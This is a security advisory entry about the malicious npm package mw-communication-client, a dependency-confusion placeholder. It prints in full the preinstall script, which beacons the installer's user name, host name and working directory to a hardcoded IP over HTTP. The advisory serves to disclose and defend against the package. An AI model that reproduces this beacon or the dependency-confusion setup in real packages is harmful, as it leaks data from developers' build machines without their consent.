Malicious code in mw-communication-client (npm)
Published Sources: OSV (Schadpakete)
- Malicious package
What is affected, what to do
Uninstall the package, isolate affected environments and rotate credentials that were available during installation.
Not sure whether and how you are affected? Ask a question about this vulnerability
Malicious package
npmmw-communication-client
“mw-communication-client” is registered as malicious in the npm repository. Anyone who installed the package should uninstall it immediately, isolate affected environments and rotate credentials that were present during installation.
Affected versions (2)
- 1.0.1
- 10.0.0
purl: pkg:npm/mw-communication-client
Sources (2)
amazon-inspector
IN-MAL-2026-022033Versions from this source: 1.0.1
sha256: 156130368566461b338a19475fd466deaf8e4de6b866246f79a7faf190502141
amazon-inspector
IN-MAL-2026-022036Versions from this source: 10.0.0
sha256: b0235db71cd6b47182ef6aff38ea83b51d271063239097965ed6912fd82f5287
The OSSF `malicious-packages` namespace lists packages flagged as malicious by static analysis or sandbox detonation. An entry here is a confirmed finding, not a suspicion.
Metrics
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Priority
No value is available for this vulnerability.
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CVSS v3
No value is available for this vulnerability.
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EPSS score
No value is available for this vulnerability.
Show all metrics
- Severity
- High
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 30.00 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
mw-communication-client was published to npm on 2026-10-27 from 06:55:13 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 10.0.0, 1.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.1 is the latest version at the time of this report.
package.json declares a preinstall and a postinstall script, which npm runs on every install:
node -e "require('http').get('http://38.242.235.206/depconf/mw-communication-client/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})"
The postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.
Tarball sha256: 10.0.0: f8aa10f8f000515af3ded7f91db57c266abcc30cecb68565b8fba4ab136a0b11 1.0.1: f7ea5239784db30ae39f8b3108b85561d52d1771af4f4e41b603a959824ea722
Analysis was static only; nothing was executed.
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (156130368566461b338a19475fd466deaf8e4de6b866246f79a7faf190502141)
mw-communication-client is a dependency-confusion placeholder targeting a private 'mw-' scoped name. index.js exports an empty object; the package has no functional code. Both preinstall and postinstall lifecycle scripts issue plain-HTTP GET requests to the hardcoded bare IP 38.242.235.206 at paths /depconf/mw-communication-client/preinstall and /postinstall, sending the installer's OS username (process.env.USER / USERNAME), hostname (os.hostname()), and current working directory (process.cwd()) as query parameters. Any build that resolves this public name instead of the intended private package automatically beacons identity and internal path information to the third-party endpoint on npm install, disclosing which organizations and build environments are susceptible to dependency confusion on this name. The 'benign PoC / bug bounty' self-labeling in the package description does not change the behavior: the installer's identity and workspace path leave the host to an attacker-controlled destination without consent.